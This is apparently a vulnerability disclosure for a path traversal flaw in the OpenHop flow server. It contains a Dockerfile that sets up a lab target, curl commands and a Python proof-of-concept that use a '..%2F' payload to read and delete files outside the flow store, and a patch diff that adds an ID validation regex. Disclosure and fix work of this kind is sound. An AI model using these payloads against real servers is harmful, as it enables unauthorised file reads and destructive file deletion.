Docker CVE-2026-59179

// packages/server/src/store.ts:52-53
private filePath(id: string): string {
  return join(this.dir, `${id}.yaml`)
}

# Build from repository root
docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
# Run with HOST=0.0.0.0 (default in the Dockerfile ENV)
docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001

curl -i --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fvictim'

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":"victim","meta":{"title":"SECRET_OUTSIDE_FILE","description":"This file lives outside the configured flow store directory"},"flow":{"nodes":[{"id":"a","label":"Sensitive Data","type":"service"}]},"version":1,"createdAt":"2026-06-20T00:00:00.000Z","updatedAt":"2026-06-20T00:00:00.000Z"}

curl -i -X DELETE --path-as-is 'http://127.0.0.1:8799/api/flows/..%2Fdelete-me'

HTTP/1.1 204 No Content

docker exec openhop-vuln-001 sh -c 'test -e /data/delete-me.yaml && echo exists || echo deleted'
# Output: deleted

python3 poc.py 127.0.0.1 8799

--- a/packages/server/src/store.ts
+++ b/packages/server/src/store.ts
+const FLOW_ID_PATTERN = /^[A-Za-z0-9_-]+$/
+
   private filePath(id: string): string {
+    if (!FLOW_ID_PATTERN.test(id)) {
+      throw new Error('Invalid flow id')
+    }
     return join(this.dir, `${id}.yaml`)
   }

# Dockerfile for VULN-001: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
#
# Build context: the repository root (naorsabag/openhop)
# Usage:
#   docker build -f vuln-001/Dockerfile -t openhop-vuln-001 .
#   docker run -d --name openhop-vuln-001 -p 8799:8799 openhop-vuln-001
#
# Data layout inside the container:
#   /data/flows/         <- OPENHOP_DATA_DIR (the configured flow store)
#   /data/victim.yaml    <- OUTSIDE the flow store (path traversal read target)
#   /data/delete-me.yaml <- OUTSIDE the flow store (path traversal delete target)
#
# The exploit payload "..%2Fvictim" is URL-decoded by find-my-way to "../victim",
# so path.join('/data/flows', '../victim.yaml') resolves to /data/victim.yaml.

FROM node:22-alpine

WORKDIR /app
# Copy package manifests so npm can resolve workspace dependency graph.
COPY package*.json ./
COPY packages/server/package*.json packages/server/
COPY packages/shared/package*.json packages/shared/
COPY packages/cli/package*.json packages/cli/
COPY packages/web/package*.json packages/web/
# Copy TypeScript configs and source files BEFORE npm install.
# The @openhop/server package has a "prepare" lifecycle that runs
# `tsc && esbuild` during npm install, so all sources must be present.
COPY tsconfig.base.json ./
COPY packages/server/tsconfig*.json packages/server/
COPY packages/server/src/ packages/server/src/
COPY packages/shared/src/ packages/shared/src/
# Install all workspace dependencies.
# The @openhop/server prepare script will compile to dist/server.js.
# We run the server via tsx (direct TypeScript), so the compiled output
# is not required at runtime but the prepare step must not fail.
RUN npm install
# Set up the data directory layout for the PoC.
#   /data/flows/       -> configured as OPENHOP_DATA_DIR (the "safe" directory)
#   /data/victim.yaml  -> outside the store; represents a sensitive file that
#                         MUST NOT be reachable via the API without sanitization
RUN mkdir -p /data/flows && \
    printf 'id: victim\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: SECRET_OUTSIDE_FILE\n    description: This file lives outside the configured flow store directory\n  flow:\n    nodes:\n      - id: a\n        label: Sensitive Data\n' \
    > /data/victim.yaml && \
    printf 'id: delete-me\nversion: 1\ncreatedAt: "2026-06-20T00:00:00.000Z"\nupdatedAt: "2026-06-20T00:00:00.000Z"\nroot:\n  meta:\n    title: DELETE_TARGET_FILE\n  flow:\n    nodes:\n      - id: b\n        label: Delete Target\n' \
    > /data/delete-me.yaml
# Server listens on 8799 inside the container.
EXPOSE 8799
# OPENHOP_DATA_DIR constrains the flow store to /data/flows/.
# HOST=0.0.0.0 makes the server reachable from outside the container.
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799
# Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]

#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 - CVSS 8.3 High

Vulnerability:
    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
        return join(this.dir, `${id}.yaml`)
    with no sanitization on `id`. The route GET /api/flows/:id passes
    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
    to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
    the URL is decoded to "../victim", causing path.join to escape the
    configured data directory.

Attack Vectors:
    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml
    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage:
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 8799
"""

import http.client
import json
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll until the OpenHop server returns any response on /api/flows."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at http://{host}:{port} ...")
    while time.time() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/api/flows")
            r = conn.getresponse()
            r.read()
            conn.close()
            print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
            return True
        except Exception:
            time.sleep(1)
    return False


def raw_http(method: str, host: str, port: int, path: str):
    """
    Send an HTTP request with the path exactly as given - no normalization.
    http.client does NOT percent-decode or normalize the path string, so
    '..%2F' reaches the server verbatim and Fastify's router decodes it.
    """
    conn = http.client.HTTPConnection(host, port, timeout=10)
    conn.request(method, path)
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, body


def main() -> int:
    print("=" * 62)
    print("VULN-001  Path Traversal in OpenHop Flow ID File Operations")
    print("=" * 62)
    print(f"[*] Target  : http://{HOST}:{PORT}")
    print(f"[*] Payload : ..%2F  (decoded by find-my-way to ../)")
    print(f"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)")
    print(f"[*] Outside : /data/victim.yaml  /data/delete-me.yaml")
    print()

    if not wait_for_server(HOST, PORT):
        print("[-] Server did not become ready within timeout. ABORT.")
        return 1

    print()
    passed_read = False
    passed_delete = False
# ── Attack 1: Read a file outside the configured flow store ─────────
    print("[*] Attack 1 - READ path traversal")
    print(f"    Request : GET {TRAVERSAL_GET_PATH}")
    print(f"    Decoded : id = ../victim")
    print(f"    Resolves: path.join('/data/flows', '../victim.yaml')")
    print(f"            = /data/victim.yaml  (outside flow store)")

    status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    print(f"    Body    : {body_text[:600]}")

    if status == 200:
        try:
            data = json.loads(body_text)
            title = data.get("meta", {}).get("title", "")
            if "SECRET_OUTSIDE_FILE" in title:
                print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
                print(f"       Leaked title field = {title!r}")
                passed_read = True
            else:
                print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
                print(f"       Full response: {data}")
# Still count as read-traversal success if we got a valid flow back
                if "meta" in data or "flow" in data:
                    print("[PASS] READ confirmed: path traversal returned a flow from outside store")
                    passed_read = True
        except json.JSONDecodeError:
            print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
    else:
        print(f"[FAIL] Expected HTTP 200, got {status}")

    print()
# ── Attack 2: Delete a file outside the configured flow store ────────
    print("[*] Attack 2 - DELETE path traversal")
    print(f"    Request : DELETE {TRAVERSAL_DELETE_PATH}")
    print(f"    Decoded : id = ../delete-me")
    print(f"    Resolves: path.join('/data/flows', '../delete-me.yaml')")
    print(f"            = /data/delete-me.yaml  (outside flow store)")

    status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    if body_text:
        print(f"    Body    : {body_text[:200]}")

    if status in (200, 204):
        print(f"[PASS] DELETE confirmed: HTTP {status} - /data/delete-me.yaml deleted outside store")
        passed_delete = True
    else:
        print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ─────────────────────────────────────────────────────────
    print()
    print("=" * 62)
    if passed_read and passed_delete:
        print("[RESULT] PASS - Both read and delete path traversal exploited")
        return 0
    elif passed_read:
        print("[RESULT] PARTIAL - Read traversal confirmed, delete did not succeed")
        return 1
    else:
        print("[RESULT] FAIL - Exploit did not succeed")
        return 2


if __name__ == "__main__":
    sys.exit(main())